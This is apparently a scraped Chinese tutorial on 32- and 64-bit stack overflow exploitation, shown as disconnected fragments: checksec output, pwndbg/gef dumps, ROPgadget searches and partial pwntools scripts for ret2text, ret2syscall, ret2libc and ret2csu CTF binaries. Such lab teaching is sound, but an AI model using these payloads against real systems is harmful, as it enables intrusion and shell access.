gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example stack_example.c: In function ‘vulnerable’: stack_example.c:6:3: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration] gets(s); ^ /tmp/ccPU8rRA.o:在函数‘vulnerable’中: stack_example.c:(.text+0x27): 警告: the `gets' function is dangerous and should not be used.
checksec stack_example [*] '/home/ol4three/Desktop/stack_example' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
提到编译时的 PIE 保护,Linux 平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有
python exp.py [+] Starting local process './stack_example': pid 61936 ;\x84\x0 [*] Switching to interactive mode aaaaaaaaaaaaaaaaaaaabbbb;\x84\x0 You Hava already controlled it. [*] Got EOF while reading in interactive $ [*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936) [*] Got EOF while sending in interactive
setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("There is something amazing here, do you know anything?"); gets(&s); printf("Maybe I will tell you next time !"); return 0; }
pwndbg> b *0x080486ae Breakpoint 1 at 0x80486ae: file ret2text.c, line 24. pwndbg> r Starting program: /home/ol4three/Desktop/ret2text There is something amazing here, do you know anything?
Breakpoint 1, 0x080486ae in main () at ret2text.c:24 24 ret2text.c: No such file or directory. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────── EAX 0xffffd4dc —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34 EBX 0x0 ECX 0xf7fb2dc7 (_IO_2_1_stdout_+71) ◂— 0xfb38900a EDX 0xf7fb3890 (_IO_stdfile_1_lock) ◂— 0x0 EDI 0x0 ESI 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c EBP 0xffffd548 ◂— 0x0 ESP 0xffffd4c0 —▸ 0xffffd4dc —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34 EIP 0x80486ae (main+102) —▸ 0xfffdade8 ◂— 0xfffdade8 ──────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────
╰─$ checksec ret2shellcode [*] '/Users/oldthree/Downloads/ret2shellcode' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets(&s); strncpy(buf2, &s, 0x64u); printf("bye bye ~"); return 0; }
$ checksec ret2syscall [*] '/home/ol4three/Desktop/ret2syscall' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return 0; }
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。
首先,我们来寻找控制 eax 的 gadgets
$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax' 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bb196 : pop eax ; ret 0x0807217a : pop eax ; ret 0x80e 0x0804f704 : pop eax ; ret 3 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。
类似的,我们可以得到控制其它寄存器的 gadgets
$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx' 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret 0x080be23f : pop ebx ; pop edi ; ret 0x0806eb69 : pop ebx ; pop edx ; ret 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc 0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8 0x08048913 : pop ebx ; pop esi ; pop edi ; ret 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4 0x08049a94 : pop ebx ; pop esi ; ret 0x080481c9 : pop ebx ; ret 0x080d7d3c : pop ebx ; ret 0x6f9 0x08099c87 : pop ebx ; ret 8 0x0806eb91 : pop ecx ; pop ebx ; ret 0x0806336b : pop edi ; pop esi ; pop ebx ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret 0x0805c820 : pop esi ; pop ebx ; ret 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0807b6ed : pop ss ; pop ebx ; ret
$ ./find __libc_start_main d90 http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_i386.deb (id libc6_2.27-3ubuntu1_i386) http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6-i386_2.27-3ubuntu1_amd64.deb (id libc6-i386_2.27-3ubuntu1_amd64)
#!/usr/bin/env python from pwn import * from LibcSearcher import LibcSearcher sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts'] libc_start_main_got = ret2libc3.got['__libc_start_main'] main = ret2libc3.symbols['main']
print "leak libc_start_main_got addr and return to main again" payload = flat(['A' * 112, puts_plt, main, libc_start_main_got]) sh.sendlineafter('Can you find it !?', payload)
from pwn import * from LibcSearcher import LibcSearcher
debug = True
context(log_level = 'debug', arch = 'amd64', os = 'linux')
if debug: sh = process("./level5") level5=ELF('./level5') else: link = "x.x.x.x:xx" ip, port = map(lambda x:x.strip(), link.split(':')) sh = remote(ip, port) elf=ELF('./level5')
add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn
gef➤ x/5i 0x000000000040061A 0x40061a <__libc_csu_init+90>: pop rbx 0x40061b <__libc_csu_init+91>: pop rbp 0x40061c <__libc_csu_init+92>: pop r12 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 gef➤ x/5i 0x000000000040061b 0x40061b <__libc_csu_init+91>: pop rbp 0x40061c <__libc_csu_init+92>: pop r12 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 gef➤ x/5i 0x000000000040061A+3 0x40061d <__libc_csu_init+93>: pop rsp 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret gef➤ x/5i 0x000000000040061e 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop gef➤ x/5i 0x000000000040061f 0x40061f <__libc_csu_init+95>: pop rbp 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop gef➤ x/5i 0x0000000000400620 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop 0x400626: nop WORD PTR cs:[rax+rax*1+0x0] gef➤ x/5i 0x0000000000400621 0x400621 <__libc_csu_init+97>: pop rsi 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop gef➤ x/5i 0x000000000040061A+9 0x400623 <__libc_csu_init+99>: pop rdi 0x400624 <__libc_csu_init+100>: ret 0x400625: nop 0x400626: nop WORD PTR cs:[rax+rax*1+0x0] 0x400630 <__libc_csu_fini>: repz ret
$ checksec ret2reg [*] '/home/oldthree/Desktop/ret2reg' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
评论